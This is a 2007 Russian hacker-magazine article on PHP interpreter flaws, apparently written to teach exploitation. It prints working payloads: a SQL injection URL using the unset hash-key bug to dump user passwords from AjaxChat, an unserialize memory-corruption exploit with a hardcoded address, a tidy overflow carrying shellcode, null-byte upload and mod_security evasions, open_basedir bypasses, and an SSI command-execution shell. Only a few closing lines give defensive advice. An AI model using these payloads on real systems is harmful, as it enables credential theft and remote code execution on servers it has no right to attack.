Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #106, ОКТЯБРЬ 2007 г.

Роковые ошибки PHP

Евгений «gemaglabin» Минаев

Хакер, номер #106, стр. 062

(gemaglabin@antichat.ru)

Небезопасное веб-программирование

Становится все тяжелее и тяжелее находить уязвимости типа SQL-injection, PHP-include или XSS-attack. Разработчики различных систем контроля контента, форумов, шопов и т.п. стали на порядок серьезнее относиться к безопасности своих скриптов. Однако хакеры - люди неглупые, поэтому стали искать баги не в огромной куче генерируемого web-программистами кода, а в интерпретаторе, на котором этот код выполняется. И, надо признать, получилось у них это неплохо. За последние несколько лет найдено уже около 50 ошибок в самом PHP. Как в стандартных функциях обработки, так и в дополнительных расширениях. В это статье я покажу лишь пару самых основных уязвимостей, чтобы продемонстрировать общий принцип их эксплуатации.

Register Globals

Одной из самых опасных уязвимостей в веб-приложениях по-прежнему остается перезапись глобальных переменных, которая может привести к разным последствиям - начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой ветки PHP появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET-, POST-, COOKIE-массивов.

Рассмотрим классический пример global overwrite, создав простой PHP-скрипт со всего лишь одной строчкой кода:

echo $GLOBALS['example'];

Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=antichat, в результате мы увидим высвеченное значение antichat. Некорректно обрабатывать обнуление переменных только из GET/POST-массивов. Передав дополнительный заголовок браузера, мы получим тот же самый результат:

Cookie: example=antichat

File Global Overwrite

Недавно лучшие умы из Hardened-PHP опубликовали описание нового способа перезаписи значения переменной с использованием загрузки файла. Метод основывается на том, что потому что _FILES является частью массива _POST. Для начала напишем скрипт отправки и приема загруженных файлов.

<form method="post" action="example.PHP" encode="multipart/form-data">

<input type="file" name="example" />

<input type="submit" name="submit" />

</form>

<?PHP

if(isset($_FILES["example"]))

{

copy($_FILES["filename"]["tmp_name"],'/');

}

echo $GLOBALS['example'];

?>

Пробуем залить файл с именем antichat.txt и видим в качестве результата не только залитый файл, но и присвоенное переменной example значение antichat. Удивлен? Но это еще цветочки!

Globals Overwrite

Поскольку большинство систем работает только с включенным режимом register_globals, а многие веб-хостинги с целью обеспечения безопасности своих клиентов отключают эту переменную, программисты придумали пару методов для помещения переменных в область глобального видения, которые в реализации гораздо легче, чем изготовление патчей. Одной из таких функций является import_request_variables. В качестве параметра выступает строка, определяющая порядок помещения переменных в superglobal из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные, пришедшие с клиентской стороны. Стоит использовать import_request_variables вместе со вторым параметром - префиксом будущих функций. Несмотря на то что баг обнаружен в 2005 году, ему не было присвоено критическое значение.

import_request_variables("GPC");

Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=antichat, мы перезапишем ключ массива, содержащий в себе адрес посетителя, а так как многие системы управления контентом не фильтруют этот, на первый взгляд, безопасный параметр, рождается куча способов атаки: от снятия блокировки на сайте до выполнения произвольного SQL-кода.

Вторая не менее опасная и распространенная функция для эмуляции register_globals - extract. Чтобы избежать перезаписи уже существующих переменных, рекомендуется использовать флаг EXTR_SKIP, который при попытке поместить переменную в глобальное окружение проверит ключ на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст его.

extract($_REQUEST);

UNSET WHACKING

Обнаруженная в конце 2006 года и уже успевшая стать популярной уязвимость в вызываемой функции unset, изначально именуемой Zend_Hash_Del_Key_Or_Index, достойна отдельного внимания. Ровно 6 месяцев ушло у авторов PHP на устранение этой критический уязвимости. Для того чтобы лучше уяснить суть бага, надо понять основы хранения данных в PHP.

Zend Engine HashTables является контейнером для информации, поступившей со стороны клиента, такой как суперглобальные массивы COOKIE, POST, GET. HashTable хранит ключи - указатели на содержимое переменных, и, как оказалось, несет в себе критический баг: подставив цифровое значение переменной, можно перезаписать буквенно-цифровое представление. Такие уязвимости могут быть проэксплуатированы только в случае включенного потенциально опасного параметра register_globals в настройках PHP. Хэш-таблицы Zend Engine знают два типа индексов в PHP4: цифровые и буквенно-цифровые. Если индекс состоит только из цифр, он автоматически обрабатывается как цифровой. В PHP5 это не так, поскольку PHP5 знает о таблицах имен и о простых хэш-таблицах. В таблицах имен цифровые индексы все еще обрабатываются автоматически.

Брешь заключается в некорректном условии проверки: если мы пытаемся вызвать unset для буквенно-цифровой переменной и в списке переменных есть цифровой хэш-ключ с идентичным значением, то PHP удалит ключ, но не саму переменную. То есть после вызова unset мы можем использовать значение в дальнейшем. Для нас является положительным тот факт, что unset чаще всего используется в начале кода, для того чтобы принудительно запретить использование опасных ключей.

Указать ключ переменной можно не только при включенном superglobals mode, но и упомянув значение в массиве _FILES, о чем я писал выше. Так был написан эксплойт для форумного скрипта vBulletin и популярного блог-движка WordPress.

Рассмотрим реализацию на примере AjaxChat, последнюю версию которого можно взять с ajchat.sourceforge.net. Авторы этого чата позволяют создавать виртуальные комнаты, состоящие только из букв, что явно видно в этом участке кода:

if (isset($_GET["s"]))

{

$_GET["s"] = strtoupper($_GET["s"]);

if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z') {}

else unset($_GET['s']);

}

Если переменная «s» из массива _GET прошла фильтрацию, то в системе выполнится следующий запрос:

SELECT `roomname`, `updated` FROM `rooms` WHERE `roomname` LIKE '%$s%' AND`updated` > 0 ORDER BY `roomname` ASC ;

С первого взгляда кажется, что код правильный, но на самом деле нужно лишь переопределить переменную "s", идущую в GET-запросе, чтобы выполнить произвольный SQL-запрос. Высчитаем hash_del_key для обоих версий PHP.

PHP5 hash: 5863704, PHP4 hash: 5861526

Для того чтобы хэш переменной засчитался, сначала надо присвоить саму переменную и только после этого делать подстановку наших ключей. Наш запрос для извлечения юзеров принимает следующий вид:

directory.PHP?s=' and 1=2 union select concat_ws(char(59),

id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

Прерывая одинарной кавычкой оригинальный запрос, мы вставляем выборку полей с номером, именем, паролем и почтовым адресом юзера, объединенных с помощью функции concat_ws, в результате чего получаем нужные данные.

Такой же опыт можно провести, совместив аплоад файла и unset bug. Модифицируем код, где 1322199023 и 1154731405 - хэш-ключи переменной example сразу для двух версий PHP: четвертой и пятой.

<form method="post" action="example.PHP" encode="multipart/form-data">

<input type="file" name="example" />

<input type="submit" name="submit" />

<input type="file" name="1322199023" />

<input type="file" name="1154731405" />

</form>

<?PHP

if(isset($_FILES["example"]))

{

unset($_FILES["example");

}

echo $GLOBALS['example'];

?>

После загрузки файла antichat.txt мы все равно увидим значение переменной example.

UNDER WHAT? UNDER SERIALIZE

PHP-функция un/serialize используется для помещения данных в строку, представляющую собой сериализованный массив. Часто его используют для упрощения структуры хранения cookie-данных юзера. В различных версиях интерпретатора существовало не менее пяти багов в этой функции: от банального переполнения буфера до получения нужной информации. На основе этой бреши для PHPbb2 был написан эксплойт, представляющий собой очень длинную строку, посылаемую разбитой на несколько частей в заголовке cookie, предварительно закодированную в URL-представлении. Большое количество вложенных сериализированных массивов может запросто подвесить PHP-интерпретатор. Впоследствии это переросло в integer overflow в вызове функции ecalloc. В таком случае памяти выделяется куда больше, чем было выделено под операцию, обратную сериализации, что приводит к исполнению кода, после того как переменная будет удалена из Zend HashTable.

$str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str);

Эксплойт для Linux, где адрес 0x08064058 является свободным для PHP, выглядит так:

$hashtable = str_repeat("A", 39);

$hashtable[5*4+0]=chr(0x58);

$hashtable[5*4+1]=chr(0x40);

$hashtable[5*4+2]=chr(0x06);

$hashtable[5*4+3]=chr(0x08);

$hashtable[8*4+0]=chr(0x66);

$hashtable[8*4+1]=chr(0x77);

$hashtable[8*4+2]=chr(0x88);

$hashtable[8*4+3]=chr(0x99);

$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';

for ($i=0; $i<65535; $i++) {

$str.= 'i:0;R:2;';

}

$str.= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

unserialize($str);

Полученный результат нужно использовать как аргумент при использовании unserialize.

SPECIAL CHARS

Использование специальных непечатаемых символов в качестве аргументов, передаваемых функции, часто приводит к очень «радостным» результатам. Например, прежде чем поместить IP-адрес в базу данных, его часто проверяют функцией ip2long, которая, в случае если адрес является неправильно сформированным, вернет -1.

ip2long ('123.231.222.111"'); -- -1

Однако, немного помучив функцию, мы можем увидеть, что строка, содержащая в себе символы, чьи коды равны 0,9,10,11,12,13 либо 32, вернет неотрицательный результат.

for ($i=0; $i<=255; $i++)

{

echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";

}

На примере minibb взлом будет выглядеть так:

X-FORWARDED-FOR: 1.1.1.1[CHR(0)]'union select 1

Хотя использование нашего SQL-запроса является неудобным (потребуются специальные программы, чтобы отправить заголовок), мы находимся в выигрыше: magic_quotes_gpc не распространяется на этот тип данных. К сожалению, в minibb провести атаку не получится: на строку выделяется всего 16 символов плюс один наш символ.

Функция из пакета tidy tidy_parse_string, как и обратная ей - tidy_repair_string, при локальном использовании позволяет переполнить буфер с последующим выполнением шелл-кода. Этот набор функций часто используется в wiki-скриптах.

tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1);

Очень серьезной является ошибка в функциях copy и move_uploaded_file. Существуют символы, которые обрубают строку-аргумент до вхождения этого символа. Обычно это null-byte, а в некоторых *nix-системах и слеши.

$filename = trim($fileinfo['name'], "\x00..\x1F");

Напишем скрипт, ничуть не отличающийся от множества используемых для аплоада файла с проверкой расширения.

<?PHP

$filename = $_FILES['userfile']['name'];

$allowed = array ('gif','png','jpg');

$tmpname = explode('.',$filename);

$extension = $tmpname[count($tmpname)-1];

$allowed = in_array($extension,$allowed) ? true : false ;

if ($allowed)

{

move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);

echo 'uploaded!';

}

else

{

echo 'aaah noooo!';

}

?>

<form enctype="multipart/form-data" action="test.PHP" method="post">

Отправить этот файл: <input name="userfile" type="file" />

<input type="submit" value="Send File" />

</form>

На первый взгляд, вполне очевидно, что файл с именем file.jpg.PHP не пройдет проверку, однако попробуем вставить null-byte в имя файла, и в итоге получится что-то вроде my_data.PHP%00.jpg. Если повезет, то наш файл зальется с именем my_data.PHP. Такой же баг присутствует и в функции copy().

Mod_secuirity, часто устанавливаемый вместе с Апачем, тоже имеет уязвимости. Внедрив null-byte в POST-заголовок, мы обманем фильтр и не оставим в логах никаких записей, поскольку IDS посчитает %00 концом строки:

curl http://localhost/test.PHP --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>

Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах. Одна часть скрипта получает список всевозможных функций и запускает второй скрипт, функцию по имени аргумента и логирующий каждую ошибку.

BASE DIR && SAFE MODE

Защищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то что концептуально неверно решать эту проблему на уровне PHP, но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управления safe_mode в файле настроек PHP имеется несколько директив, определяющих поведение безопасного режима:

  • safe_mode – включает/отключает защищенный режим;
  • safe_mode_gid - определяет доступ к скрипту по uid вызывающего его юзера;
  • safe_mode_include_dir - разрешает подключение файлов только из определенной директории;
  • safe_mode_exec_dir - разрешает выполнение команд оболочки только в определенной директории;
  • safe_mode_allowed_env_vars - разрешает модификацию переменных, имеющих в названии определенную приставку;
  • safe_mode_protected_env_vars - запрещает модификацию переменных при любом раскладе;
  • open_basedir - ограничивает список файлов и директорий на чтение, не влияет на состояние режима safe_mode;
  • disable_functions - запрещает выполнение функций из списка.

В случае открытия файла, права на который не совпадают с правами юзера, будет выдана ошибка:

error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd

owned by uid 0 in /docroot/script.PHP on line 2

Тот же самый эффект мы наблюдаем и с base_dir:

error -> Warning: open_basedir restriction in effect. File is in wrong directory in /docroot/script.PHP on line 2

К сожалению, а может, и к счастью, safe mode уже научились обходить, причем способом куча, и редко встретишь сервер, где не работает ни один. Например, одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию, доступную на чтение.

ini_set("session.save_path", "/sessions/user2/");

putenv("TMPDIR=/sessions/user2/");

ini_set("session.save_path", "");

@session_start();

Использование префиксов «compress.bzip2://» и «zip://» не учитывается в safe mode, что позволяет читать файлы вне разрешенных директорий. Логично, что действие safe mode распространяется только на PHP-скрипты, и мы можем заюзать Perl, Python или SSI (Server Side Includes). Для того чтобы последний метод заработал, надо выставить в Апаче некоторые параметры запуска для файла .htaccess:

AddType text/html.shtml

AddHandler server-parsed.shtml

Options +Includes

И для того чтобы удобнее было использовать все сделанное, напишем своеобразный шелл на JavaScript:

function execute()

{

var cmd = document.exec.cmd.value;

document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');

}

Не стоит отказываться от использования safe mode, достаточно следить за обновлениями PHP и своевременно ставить нужные патчи. Другим действенным методом является внедрение сторонних разработок, таких как suPHP, разграничивающих использование скриптов в зависимости от выставленных прав, либо установка PHPsafemode.patch, принцип работы которого мало отличается от предыдущего варианта.

EOF

Как видно, существует множество функций и плагинов с уязвимостями, которым авторы веб-скриптов не придают значения либо просто не догадываются о возможности эксплуатации брешей в их скриптах, да и разработчики PHP не с особой охотой выпускают патчи для своего продукта.

Наше дело облегчает Google Code Search, позволяющий искать вызываемые функций по базе, содержащей в себе разнообразные пакеты разработки.

WWW

DVD

На нашем DVD ты найдешь Zend Hash Key Calculator и Hardening PHP Patch с исходниками.

Содержание